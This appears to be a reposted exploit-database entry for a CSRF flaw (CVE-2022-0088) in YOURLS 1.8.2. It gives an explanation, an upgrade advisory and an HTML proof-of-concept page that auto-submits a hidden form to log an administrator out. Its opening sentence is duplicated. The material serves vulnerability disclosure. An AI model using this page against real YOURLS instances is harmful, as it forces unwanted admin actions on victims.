YOURLS 1.8.2 suffered from a Cross-Site Request Forgery (CSRF) vulnerability. YOURLS 1.8.2 suffered from a Cross-Site Request Forgery (CSRF) vulnerability. This flaw allowed an attacker to trick a logged-in YOURLS administrator into unknowingly executing actions on their YOURLS instance.
By crafting a malicious web page, an attacker could embed a request (e.g., an image `src` or hidden form submission) targeting the victim's YOURLS. When the administrator visited this page, their browser would automatically send the request along with their session cookies.
This could lead to unintended actions such as deleting existing short URLs, adding new ones, or modifying YOURLS settings. The vulnerability stemmed from the absence of CSRF tokens for sensitive administrative operations. An attacker could exploit this to disrupt the short URL service or manipulate content. Users were advised to upgrade to YOURLS 1.8.3 or later, which introduced proper CSRF protection.
# Exploit Title: YOURLS 1.8.2 - Cross-Site Request Forgery (CSRF)
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/yourls/yourls/
# Software Link: https://github.com/yourls/yourls/
# Version: 1.8.2
# Tested on: Windows
# CVE : CVE-2022-0088
Proof Of Concept
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF PoC</title>
</head>
<body>
<h1>CSRF Proof of Concept</h1>
<form action="http://yourls/admin/index.php" method="GET">
<input type="hidden" name="action" value="logout">
<input type="submit" value="Submit CSRF Request">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
This HTML page, when visited by an authenticated user of the vulnerable application, will automatically submit a request to log the user out without their consent, demonstrating the CSRF vulnerability.
Steps to Reproduce
Save the following code as poc.html.
Log in yourls, and open the file in the same browser.
Observe the result.
YOURLS 1.8.2 Cross Site Request Forgery
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 163
